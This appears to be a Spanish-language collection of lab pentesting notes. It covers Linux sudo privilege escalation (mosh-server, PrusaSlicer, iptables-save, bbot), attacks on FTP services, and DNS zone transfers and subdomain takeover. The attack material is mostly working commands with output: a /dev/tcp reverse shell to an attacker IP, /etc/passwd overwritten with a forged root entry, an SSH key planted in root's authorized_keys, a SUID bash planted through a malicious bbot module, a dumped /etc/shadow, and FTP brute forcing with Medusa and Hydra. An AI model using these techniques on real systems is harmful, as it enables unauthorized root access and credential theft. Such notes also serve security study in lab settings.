❯ curl -s -X PUT <VICTIM_IP>:1338/root/.ssh/authorized_keys -d "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM/QPvpr6ZlpPXjNq/RQQC5Wi8sUwISswOUyVV2NYpcN kali@kali"
Procederemos a conectarnos mediante SSH
con el usuario root
en la máquina víctima. En este ejemplo, la IP de la máquina víctima es 10.10.10.10.
❯ ssh root@10.10.10.10
The authenticity of host '10.10.10.10 (10.10.10.10)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.10' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
..[snip]...
root@test:~# whoami
root
Al revisar si el usuario que disponemos tiene algún privilegio de sudoers
, nos encontramos que puede ejecutar como usuarioroot
el binario /usr/bin/mosh-server
.
hacker@gzzcoo:~$ sudo -l
Matching Defaults entries for hacker on gzzcoo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svcMosh may run the following commands on localhost:
(ALL) NOPASSWD: /usr/bin/mosh-server
Al ejecutar el servidor Mosh como root
, ahora el usuario hacker
tiene una shell con permisos de root
. Esto permite al atacante acceder a todos los recursos del sistema con permisos completos, incluyendo la capacidad de modificar archivos, instalar software, y ejecutar comandos con total libertad.
Básicamente, lo que realizamos es montar un servidor Mosh
con privilegios de root
en el localhost
, para así lograr obtener acceso como usuario root
.
hacker@gzzcoo:~$ mosh --server="sudo /usr/bin/mosh-server" localhost
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
...[snip]...
root@gzzcoo:~$
En este ejemplo, el usuario llamado hacker
dispone del privilegio sudoers sobre el binario de PrusaSlicer
que en este caso se encuentra instalado en /opt/PrusaSlicer/prusaslicer
.
hacker@gzzcoo:/home/hacker$ sudo -l
Matching Defaults entries for hacker on gzzcoo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User adam may run the following commands on trickster:
(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer
Nos descargaremos el siguiente proyecto de GitHub en nuestro equipo atacante.
❯ git clone https://github.com/suce0155/prusaslicer_exploit; cd prusaslicer_exploit
Clonando en 'prusaslicer_exploit'...
remote: Enumerating objects: 25, done.
remote: Counting objects: 100% (25/25), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 25 (delta 3), reused 0 (delta 0), pack-reused 0 (from 0)
Recibiendo objetos: 100% (25/25), 45.69 KiB | 1.34 MiB/s, listo.
Resolviendo deltas: 100% (3/3), listo.
Editaremos el archivo exploit.sh
para establecer nuestra dirección IP de atacante y el puerto desde donde estaremos en escucha. Levantaremos un servidor web para transferir estos archivos al equipo víctima.
❯ cat exploit.sh
/bin/bash -i >& /dev/tcp/10.10.16.5/444 0>&1
❯ ls -l
.rw-rw-r-- kali kali 38 KB Sat Jan 25 01:25:28 2025 evil.3mf
.rw-rw-r-- kali kali 45 B Sat Jan 25 01:26:02 2025 exploit.sh
.rw-rw-r-- kali kali 369 B Sat Jan 25 01:25:28 2025 README.md
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Desde el equipo víctima, nos descargaremos los archivos exploit.sh
y evil.3mf
. En nuestro caso la dirección IP de atacante es la 10.10.16.5.
hacker@gzzcoo:/tmp$ wget 10.10.16.5/exploit.sh
--2025-01-25 00:27:00-- http://10.10.16.5/exploit.sh
Connecting to 10.10.16.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45 [text/x-sh]
Saving to: ‘exploit.sh’
exploit.sh 100%[================================>] 45 --.-KB/s in 0s
2025-01-25 00:27:00 (3.79 MB/s) - ‘exploit.sh’ saved [45/45]
hacker@gzzcoo:/tmp$ wget 10.10.16.5/evil.3mf
--2025-01-25 00:27:08-- http://10.10.16.5/evil.3mf
Connecting to 10.10.16.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 39455 (39K) [application/vnd.ms-3mfdocument]
Saving to: ‘evil.3mf’
evil.3mf 100%[================================>] 45 --.-KB/s in 0s
2025-01-25 00:27:08 (315 KB/s) - ‘evil.3mf’ saved [39455/39455]
Desde una terminal de nuestro equipo, nos pondremos en escucha por el puerto especificado en el payload para recibir la Reverse Shell.
❯ nc -nlvp 444
listening on [any] 444 ...
Realizaremos la explotación para abusar de este permiso de sudoers del binario.
hacker@gzzcoo:/tmp$ sudo /opt/PrusaSlicer/prusaslicer -s evil.3mf
10 => Processing triangulated mesh
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
65 => Searching support spots
69 => Alert if supports needed
print warning: Detected print stability issues:
EXPLOIT
Low bed adhesion
Consider enabling supports.
Also consider enabling brim.
88 => Estimating curled extrusions
88 => Generating skirt and brim
90 => Exporting G-code to EXPLOIT_0.3mm_{printing_filament_types}_MK4_{print_time}.gcode
Revisamos que hemos logrado obtener acceso al equipo como usuario root
, ya que es quien lo ha ejecutado al disponer de permisos de sudo
sobre el binario indicado que ha sido aprovechado para ejecutar la Reverse Shell.
❯ nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.34] 60656
root@trickster:/tmp
En el siguiente blog, se especifica como podemos abusar de este privilegio de sudoers. Además de un PoC sencillo.
Opción 1 --> sobreescribir /etc/passwd
para añadir nuevo usuario root
En el PoC del blog mencionado, se nos informa que disponiendo de ambos permisos de sudoers
, podemos intentar sobreescribir el archivo /etc/passwd
para añadir una nueva entrada de un nuevo usuario root
con una contraseña asignada por nosotros mismos.
En este caso, lo que realizaremos es copiar la entrada de nuestro /etc/passwd
para tener la estructura de lo que deberemos añadir en el archivo de la máquina víctima.
Una vez tengamos la entrada de plantilla, lo que deberemos realizar es crear una contraseña en el formato de OpenSSL
. Deberemos de reemplazar el valor x
por el de la contraseña generada, para lograr obtener el siguiente resultado --> root:$1$Gow86CXS$sHAPSqpiT4xePLCPO147m1:0:0:root:/root:/bin/bash
❯ cat /etc/passwd | head -n 1
root:x:0:0:root:/root:/usr/bin/zsh
❯ openssl passwd Gzzcoo123
$1$Gow86CXS$sHAPSqpiT4xePLCPO147m1
Inyectaremos la entrada root
falsificada en un nuevo comentario de regla de e, verificaremos que se encuentra añadida esta línea en las reglas de iptables
y sobreescribiremos el archivo /etc/passwd
para añadir esta nueva entrada del usuario root
. Verificaremos si podemos acceder con este nuevo usuario root
y la contraseña asignada.
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nroot:$1$Gow86CXS$sHAPSqpiT4xePLCPO147m1:0:0:root:/root:/bin/bash\n'
sudo /usr/sbin/iptables -S
sudo /usr/sbin/iptables-save -f /etc/passwd
Opción 2 --> sobreescribir /root/.ssh/authorized_keys
para añadir nuestra clave pública SSH
Buscando otras maneras de aprovecharnos de estos privilegios de sudoers
, pensamos en subir nuestra clave pública SSH al archivo authorized_keys
del usuario root.
En un principio no deberíamos tener problemas al ejecutar el iptables && iptables-save
con permisos de sudo
.
Generaremos una nueva clave pública SSH en nuestro equipo atacante.
❯ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519): /home/kali/.ssh/id_rsa
Enter passphrase for "/home/kali/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:VJOJ/h84EVj0o05Fpz15O3EfYA9X6Zk2e1ZFmi25358 kali@kali
The key's randomart image is:
+--[ED25519 256]--+
| ==o.+.o=|
| o.++.+=B.|
| .. .= X+B|
| .. .o . @B|
| S.oo oo=|
| o+ . o=|
| .o . .+|
| . o|
| E.|
+----[SHA256]-----+
Copiaremos nuestra clave SSH pública .
❯ cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINchj1ycZWUZctrUZl/nhPPxygCF1kT7UbFMFfVqiyz0 kali@kali
Volveremos a realizar el PrivEsc aprovechándonos de estos permisos de sudoers
. En este caso, crearemos un nuevo comentario que contenga nuestra clave SSH pública. Revisaremos que nos aparece el comentario en las reglas de iptables
, y sobreescribiremos el archivo mencionado.
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINchj1ycZWUZctrUZl/nhPPxygCF1kT7UbFMFfVqiyz0 kali@kali\n'
sudo /usr/sbin/iptables -S
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
Al intentar acceder mediante SSH con el usuario root
, comprobamos que no se solicita credenciales. Al subir nuestra clave pública SSH al archivo /root/.ssh/authorized_keys
, logramos conectarnos sin necesidad de proporcionar una contraseña, ya que la clave pública almacenada en ese archivo se comunica directamente con nuestra clave privada.
❯ ssh root@10.10.10.10
Linux gzzcoo 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
root@gzzcoo:~$
user@gzzcoo:~$ sudo -l
Matching Defaults entries for user on gzzcoo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User user may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
Leer archivos privilegiados del sistema (LFI)
graphasm@cypher:~$ sudo /usr/local/bin/bbot -cy /etc/shadow -d --dry-run
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
...[snip]...
[DBUG] internal.excavate: Successfully loaded custom yara rules file [/etc/shadow]
[DBUG] internal.excavate: Final combined yara rule contents: root:$y$j9T$ianAadawc1w6VSodw.1fzgk/$3DenO5YJ1VBvE1VekRL79v6bN00fhcbA59zeeLciY67:20133:0:99999:7:::
daemon:*:19962:0:99999:7:::
bin:*:19962:0:99999:7:::
sys:*:19962:0:99999:7:::
sync:*:19962:0:99999:7:::
games:*:19962:0:99999:7:::
man:*:19962:0:99999:7:::
lp:*:19962:0:99999:7:::
mail:*:19962:0:99999:7:::
news:*:19962:0:99999:7:::
uucp:*:19962:0:99999:7:::
proxy:*:19962:0:99999:7:::
www-data:*:19962:0:99999:7:::
backup:*:19962:0:99999:7:::
list:*:19962:0:99999:7:::
irc:*:19962:0:99999:7:::
_apt:*:19962:0:99999:7:::
nobody:*:19962:0:99999:7:::
systemd-network:!*:19962::::::
systemd-timesync:!*:19962::::::
dhcpcd:!:19962::::::
messagebus:!:19962::::::
systemd-resolve:!*:19962::::::
pollinate:!:19962::::::
polkitd:!*:19962::::::
syslog:!:19962::::::
uuidd:!:19962::::::
tcpdump:!:19962::::::
tss:!:19962::::::
landscape:!:19962::::::
fwupd-refresh:!*:19962::::::
usbmux:!:20004::::::
sshd:!:20004::::::
user:$y$j9T$lDLyqZAxCXhX1EB3v01Zl.$C0XwosQvBM.5sAPbHdADASDlg0GX5YJHb7qImQV7:20004:0:99999:7:::
neo4j:!:20004::::::
_laurel:!:20136::::::
Obtener ejecución de comandos (RCE)
Manual
user@gzzcoo:/tmp$ echo -e "module_dirs:\n - /tmp/modules" > /tmp/myconf.yml
user@gzzcoo:/tmp$ mkdir /tmp/modules
user@gzzcoo:/tmp$ cd /tmp/modules
user@gzzcoo:/tmp$ nano whois2.py
from bbot.modules.base import BaseModule
import os
class whois2(BaseModule):
watched_events = ["DNS_NAME"] # watch for DNS_NAME events
produced_events = ["WHOIS"] # we produce WHOIS events
flags = ["passive", "safe"]
meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
options = {"api_key": ""} # module config options
options_desc = {"api_key": "WhoisXMLAPI Key"}
per_domain_only = True # only run once per domain
# one-time setup - runs at the beginning of the scan
async def setup(self):
os.system("cp /bin/bash /tmp/gzzcoo && chmod u+s /tmp/gzzcoo")
self.api_key = self.config.get("api_key")
return True
async def handle_event(self, event):
pass
user@gzzcoo:/tmp$ sudo /usr/local/bin/bbot -p /tmp/myconf.yml -m whois2
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[INFO] Scan with 1 modules seeded with 0 targets (0 in whitelist)
[INFO] Loaded 1/1 scan modules (whois2)
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)
[INFO] internal.excavate: Compiling 10 YARA rules
[INFO] internal.speculate: No portscanner enabled. Assuming open ports: 80, 443
[SUCC] Setup succeeded for 13/13 modules.
[SUCC] Scan ready. Press enter to execute chiseled_crystal
[WARN] No scan targets specified
[SUCC] Starting scan chiseled_crystal
[SCAN] chiseled_crystal (SCAN:e8932c65583fe4c9ebced6e18cf4974796fbfb8f) TARGET (in-scope, target)
[INFO] Finishing scan
[SCAN] chiseled_crystal (SCAN:e8932c65583fe4c9ebced6e18cf4974796fbfb8f) TARGET (in-scope)
[SUCC] Scan chiseled_crystal completed in 0 seconds with status FINISHED
[INFO] aggregate: +----------+------------+------------+
[INFO] aggregate: | Module | Produced | Consumed |
[INFO] aggregate: +==========+============+============+
[INFO] aggregate: | None | None | None |
[INFO] aggregate: +----------+------------+------------+
[INFO] output.csv: Saved CSV output to /root/.bbot/scans/chiseled_crystal/output.csv
[INFO] output.json: Saved JSON output to /root/.bbot/scans/chiseled_crystal/output.json
[INFO] output.txt: Saved TXT output to /root/.bbot/scans/chiseled_crystal/output.txt
user@gzzcoo:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
user@gzzcoo:/tmp$ ls -l /tmp/gzzcoo
-rwsr-xr-x 1 root root 1446024 Mar 4 17:39 /tmp/gzzcoo
user@gzzcoo$ /tmp/gzzcoo -p
gzzcoo-5.2# whoami
root
El Protocolo de Transferencia de Archivos (FTP) es un protocolo de red estándar utilizado para transferir archivos entre computadoras. También permite realizar operaciones sobre directorios y archivos, como cambiar el directorio de trabajo, listar archivos, renombrar o eliminar carpetas y archivos. Por defecto, FTP escucha en el puerto TCP/21.
Para atacar un servidor FTP, podemos abusar de una mala configuración, privilegios excesivos, vulnerabilidades conocidas o incluso descubrir nuevas vulnerabilidades. Por eso, una vez que tengamos acceso al servicio FTP, debemos revisar el contenido de los directorios y buscar información sensible o crítica, como ya vimos antes.
El protocolo está diseñado para permitir descargas y subidas mediante comandos, lo que permite la transferencia de archivos entre servidores y clientes. El usuario tiene acceso a un sistema de gestión de archivos proporcionado por el sistema operativo. Los archivos pueden almacenarse en carpetas, las cuales a su vez pueden estar dentro de otras carpetas, generando así una estructura jerárquica de directorios.
Muchas empresas utilizan este servicio como parte de sus procesos de desarrollo de software o sitios web.
Los scripts por defecto de Nmap (-sC
) incluyen el script ftp-anon
, que verifica si un servidor FTP permite inicios de sesión anónimos. La opción de enumeración de versiones -sV
proporciona información interesante sobre los servicios FTP, como el banner del servicio, que a menudo incluye el nombre y la versión del servidor.
Podemos usar el cliente ftp
o nc
(netcat) para interactuar con el servicio FTP. Por defecto, FTP se ejecuta en el puerto TCP 21.
gzzcoo@htb[/htb]$ sudo nmap -sCV -p21 192.168.2.142
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 22:04 EDT
Nmap scan report for 192.168.2.142
Host is up (0.00054s latency).
PORT STATE SERVICE
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 1170 924 31 Mar 28 2001 .banner
| d--x--x--x 2 root root 1024 Jan 14 2002 bin
| d--x--x--x 2 root root 1024 Aug 10 1999 etc
| drwxr-srwt 2 1170 924 2048 Jul 19 18:48 incoming [NSE: writeable]
| d--x--x--x 2 root root 1024 Jan 14 2002 lib
| drwxr-sr-x 2 1170 924 1024 Aug 5 2004 pub
|_Only 6 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
Como ya comentamos, la autenticación anónima puede estar configurada en distintos servicios como FTP. Para acceder con un inicio de sesión anónimo, simplemente se usa el usuario anonymous
y sin necesidad de contraseña. Esto puede ser muy peligroso para la empresa si los permisos de lectura y escritura no están correctamente configurados en el servicio FTP.
Con un acceso anónimo mal configurado, la empresa podría haber dejado información sensible expuesta en carpetas accesibles, permitiendo que cualquier usuario pueda:
descargar archivos confidenciales, o incluso
subir scripts maliciosos
Si combinamos esto con vulnerabilidades como path traversal en una aplicación web, podríamos localizar el archivo subido y ejecutarlo como código, por ejemplo como PHP.
gzzcoo@htb[/htb]$ ftp 192.168.2.142
Connected to 192.168.2.142.
220 (vsFTPd 2.3.4)
Name (192.168.2.142:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 9 Aug 12 16:51 test.txt
226 Directory send OK.
Una vez que obtenemos acceso al servidor FTP con credenciales anónimas, podemos comenzar a buscar información interesante.
Comandos útiles:
ls
y cd
→ para navegar por los directorios, igual que en Linux
get archivo.txt
→ descarga un archivo
mget *
→ descarga múltiples archivos
put archivo.txt
→ sube un archivo
mput *
→ sube varios archivos
Puedes usar el comando help
dentro de la sesión FTP para ver más opciones disponibles.
Si no hay autenticación anónima disponible, también podemos realizar un ataque de fuerza bruta contra el servicio FTP usando listas de nombres de usuario y contraseñas predefinidas.
Brute Forcing with Medusa
Existen muchas herramientas para hacer fuerza bruta, pero vamos a ver una muy común: Medusa.
Con Medusa:
-u
especifica un único usuario
-U
es para un archivo con varios usuarios
-P
indica un archivo con contraseñas
-M
define el módulo o protocolo a atacar (en este caso, ftp
)
-h
es el host o IP del objetivo
Nota: aunque es posible encontrar servicios vulnerables a fuerza bruta, hoy en día la mayoría de aplicaciones implementan mecanismos de protección. Un método más efectivo suele ser el Password Spraying.
gzzcoo@htb[/htb]$ medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 123456 (1 of 14344392 complete)
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 12345 (2 of 14344392 complete)
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 123456789 (3 of 14344392 complete)
ACCOUNT FOUND: [ftp] Host: 10.129.203.7 User: fiona Password: family [SUCCESS]
Con Hydra:
-l
especifica un único usuario
-L
es para un archivo con varios usuarios
-p
indica una contraseña única
-P
indica un archivo con contraseñas
ftp://10.129.42.197
es el host o IP del objetivo
gzzcoo@htb[/htb]$ hydra -L user.list -P password.list ftp://10.129.42.197
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:03:51
[WARNING] Many FTP configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ftp://10.129.42.197:22/
[21][ftp] host: 10.129.42.197 login: user password: password
1 of 1 target successfully completed, 1 valid password found
Un FTP bounce attack es un ataque de red que aprovecha servidores FTP para enviar tráfico saliente hacia otro dispositivo dentro de la red. El atacante utiliza el comando PORT para engañar la conexión FTP y hacer que ejecute comandos o recopile información desde un dispositivo diferente al servidor original.
Imaginemos que estamos atacando un servidor FTP llamado FTP_DMZ que está expuesto a internet. Dentro de la misma red, hay otro dispositivo llamado Internal_DMZ, que no está expuesto públicamente. Podemos usar la conexión al servidor FTP_DMZ para escanear Internal_DMZ mediante un ataque FTP Bounce y descubrir qué puertos tiene abiertos. Luego, podremos usar esa información para preparar futuros ataques contra la infraestructura.
Fuente: https://www.geeksforgeeks.org/what-is-ftp-bounce-attack/
La opción -b
de Nmap permite realizar este tipo de ataque:
gzzcoo@htb[/htb]$ nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-27 04:55 EDT
Resolved FTP bounce attack proxy to 10.10.110.213 (10.10.110.213).
Attempting connection to ftp://anonymous:password@10.10.110.213:21
Connected:220 (vsFTPd 3.0.3)
Login credentials accepted by FTP server!
Initiating Bounce Scan at 04:55
FTP command misalignment detected ... correcting.
Completed Bounce Scan at 04:55, 0.54s elapsed (1 total ports)
Nmap scan report for 172.17.0.2
Host is up.
PORT STATE SERVICE
80/tcp open http
<SNIP>
Aunque la mayoría de servidores FTP modernos tienen protecciones activas por defecto para evitar este tipo de ataque, si estas características están mal configuradas, el servidor podría quedar vulnerable a un FTP Bounce.
El Domain Name System (DNS) traduce nombres de dominio (por ejemplo, hackthebox.com) a direcciones IP numéricas (por ejemplo, 104.17.42.72). DNS utiliza principalmente UDP/53, pero con el tiempo dependerá más de TCP/53.
Desde el inicio, DNS fue diseñado para usar tanto UDP como TCP en el puerto 53, siendo UDP el predeterminado. Si no puede comunicarse por UDP, recurre a TCP, generalmente cuando el tamaño del paquete es demasiado grande para enviarse en un solo paquete UDP.
Como casi todas las aplicaciones de red usan DNS, los ataques contra servidores DNS representan una de las amenazas más comunes y significativas hoy en día.
DNS contiene información interesante sobre una organización. Como se mencionó en la sección de Domain Information del módulo de Footprinting, podemos entender cómo opera una empresa, los servicios que ofrece, así como identificar proveedores externos como los de correo electrónico.
Las opciones -sC
(scripts por defecto) y -sV
(escaneo de versiones) de Nmap pueden utilizarse para realizar una enumeración inicial sobre los servidores DNS objetivo:
gzzcoo@htb[/htb]$ nmap -p53 -Pn -sVC 10.10.110.213
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-29 03:47 EDT
Nmap scan report for 10.10.110.213
Host is up (0.017s latency).
PORT STATE SERVICE VERSION
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
Una zona DNS es una porción del espacio de nombres DNS que está gestionada por una organización o administrador específico. Dado que DNS está compuesto por múltiples zonas, los servidores DNS utilizan las transferencias de zona (zone transfers) para copiar parte de su base de datos a otro servidor DNS.
A menos que un servidor DNS esté configurado correctamente (limitando qué IPs pueden realizar una transferencia de zona), cualquiera puede solicitar una copia de la información de la zona, ya que estas transferencias no requieren autenticación. Aunque el servicio DNS usa normalmente el puerto UDP, al realizar transferencias de zona utiliza TCP para asegurar una transmisión fiable.
Un atacante puede aprovechar esta vulnerabilidad para obtener información detallada del espacio de nombres DNS de la organización objetivo, ampliando la superficie de ataque.
Para explotarlo, podemos usar la utilidad dig
con el tipo de consulta AXFR
para intentar volcar todas las entradas DNS desde un servidor vulnerable:
DIG - AXFR Zone Transfer
gzzcoo@htb[/htb]$ dig AXFR @ns1.inlanefreight.htb inlanefreight.htb
; <<>> DiG 9.11.5-P1-1-Debian <<>> axfr inlanefrieght.htb @10.129.110.213
;; global options: +cmd
inlanefrieght.htb. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
inlanefrieght.htb. 604800 IN AAAA ::1
inlanefrieght.htb. 604800 IN NS localhost.
inlanefrieght.htb. 604800 IN A 10.129.110.22
admin.inlanefrieght.htb. 604800 IN A 10.129.110.21
hr.inlanefrieght.htb. 604800 IN A 10.129.110.25
support.inlanefrieght.htb. 604800 IN A 10.129.110.28
inlanefrieght.htb. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 28 msec
;; SERVER: 10.129.110.213#53(10.129.110.213)
;; WHEN: Mon Oct 11 17:20:13 EDT 2020
;; XFR size: 8 records (messages 1, bytes 289)
FIERCE - AXFR Zone Transfer
Herramientas como Fierce también pueden utilizarse para enumerar todos los servidores DNS del dominio raíz y escanear si es posible realizar una transferencia de zona DNS:
gzzcoo@htb[/htb]# fierce --domain zonetransfer.me
NS: nsztm2.digi.ninja. nsztm1.digi.ninja.
SOA: nsztm1.digi.ninja. (81.4.108.41)
Zone: success
{<DNS name @>: '@ 7200 IN SOA nsztm1.digi.ninja. robin.digi.ninja. 2019100801 '
'172800 900 1209600 3600\n'
'@ 300 IN HINFO "Casio fx-700G" "Windows XP"\n'
'@ 301 IN TXT '
'"google-site-verification=tyP28J7JAUHA9fw2sHXMgcCC0I6XBmmoVi04VlMewxA"\n'
'@ 7200 IN MX 0 ASPMX.L.GOOGLE.COM.\n'
'@ 7200 IN MX 10 ALT1.ASPMX.L.GOOGLE.COM.\n'
'@ 7200 IN MX 10 ALT2.ASPMX.L.GOOGLE.COM.\n'
'@ 7200 IN MX 20 ASPMX2.GOOGLEMAIL.COM.\n'
'@ 7200 IN MX 20 ASPMX3.GOOGLEMAIL.COM.\n'
'@ 7200 IN MX 20 ASPMX4.GOOGLEMAIL.COM.\n'
'@ 7200 IN MX 20 ASPMX5.GOOGLEMAIL.COM.\n'
'@ 7200 IN A 5.196.105.14\n'
'@ 7200 IN NS nsztm1.digi.ninja.\n'
'@ 7200 IN NS nsztm2.digi.ninja.',
<DNS name _acme-challenge>: '_acme-challenge 301 IN TXT '
'"6Oa05hbUJ9xSsvYy7pApQvwCUSSGgxvrbdizjePEsZI"',
<DNS name _sip._tcp>: '_sip._tcp 14000 IN SRV 0 0 5060 www',
<DNS name 14.105.196.5.IN-ADDR.ARPA>: '14.105.196.5.IN-ADDR.ARPA 7200 IN PTR '
'www',
<DNS name asfdbauthdns>: 'asfdbauthdns 7900 IN AFSDB 1 asfdbbox',
<DNS name asfdbbox>: 'asfdbbox 7200 IN A 127.0.0.1',
<DNS name asfdbvolume>: 'asfdbvolume 7800 IN AFSDB 1 asfdbbox',
<DNS name canberra-office>: 'canberra-office 7200 IN A 202.14.81.230',
<DNS name cmdexec>: 'cmdexec 300 IN TXT "; ls"',
<DNS name contact>: 'contact 2592000 IN TXT "Remember to call or email Pippa '
'on +44 123 4567890 or pippa@zonetransfer.me when making '
'DNS changes"',
<DNS name dc-office>: 'dc-office 7200 IN A 143.228.181.132',
<DNS name deadbeef>: 'deadbeef 7201 IN AAAA dead:beaf::',
<DNS name dr>: 'dr 300 IN LOC 53 20 56.558 N 1 38 33.526 W 0.00m',
<DNS name DZC>: 'DZC 7200 IN TXT "AbCdEfG"',
<DNS name email>: 'email 2222 IN NAPTR 1 1 "P" "E2U+email" "" '
'email.zonetransfer.me\n'
'email 7200 IN A 74.125.206.26',
<DNS name Hello>: 'Hello 7200 IN TXT "Hi to Josh and all his class"',
<DNS name home>: 'home 7200 IN A 127.0.0.1',
<DNS name Info>: 'Info 7200 IN TXT "ZoneTransfer.me service provided by Robin '
'Wood - robin@digi.ninja. See '
'http://digi.ninja/projects/zonetransferme.php for more '
'information."',
<DNS name internal>: 'internal 300 IN NS intns1\ninternal 300 IN NS intns2',
<DNS name intns1>: 'intns1 300 IN A 81.4.108.41',
<DNS name intns2>: 'intns2 300 IN A 167.88.42.94',
<DNS name office>: 'office 7200 IN A 4.23.39.254',
<DNS name ipv6actnow.org>: 'ipv6actnow.org 7200 IN AAAA '
'2001:67c:2e8:11::c100:1332',
...SNIP...
La toma de dominio (domain takeover) consiste en registrar un nombre de dominio inexistente para tomar control sobre otro dominio. Si un atacante encuentra un dominio expirado, puede reclamarlo para realizar ataques como alojar contenido malicioso en un sitio web o enviar correos de phishing aprovechando ese dominio ya reclamado.
La toma de control también es posible con subdominios, lo que se conoce como subdomain takeover. Un registro CNAME en DNS se usa para apuntar un dominio a otro. Muchas organizaciones utilizan servicios de terceros como AWS, GitHub, Akamai, Fastly y otras CDNs para alojar contenido. En estos casos, se suele crear un subdominio que apunte a dichos servicios. Por ejemplo
sub.target.com. 60 IN CNAME anotherdomain.com
El nombre de dominio sub.target.com
utiliza un registro CNAME que apunta a anotherdomain.com
. Si anotherdomain.com
expira y queda libre para ser registrado, cualquier persona puede reclamarlo. Dado que el servidor DNS de target.com
aún tiene ese registro CNAME apuntando allí, quien registre anotherdomain.com
tendrá control total sobre sub.target.com
hasta que el registro DNS sea actualizado.
Antes de realizar un subdomain takeover, debemos enumerar los subdominios del dominio objetivo utilizando herramientas como Subfinder. Esta herramienta recopila subdominios desde fuentes abiertas como DNSdumpster. También se pueden usar otras herramientas como Sublist3r para realizar fuerza bruta de subdominios utilizando una wordlist predefinida:
gzzcoo@htb[/htb]$ ./subfinder -d inlanefreight.com -v
_ __ _ _
____ _| |__ / _(_)_ _ __| |___ _ _
(_-< || | '_ \ _| | ' \/ _ / -_) '_|
/__/\_,_|_.__/_| |_|_||_\__,_\___|_| v2.4.5
projectdiscovery.io
[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[WRN] By using subfinder, you also agree to the terms of the APIs used.
[INF] Enumerating subdomains for inlanefreight.com
[alienvault] www.inlanefreight.com
[dnsdumpster] ns1.inlanefreight.com
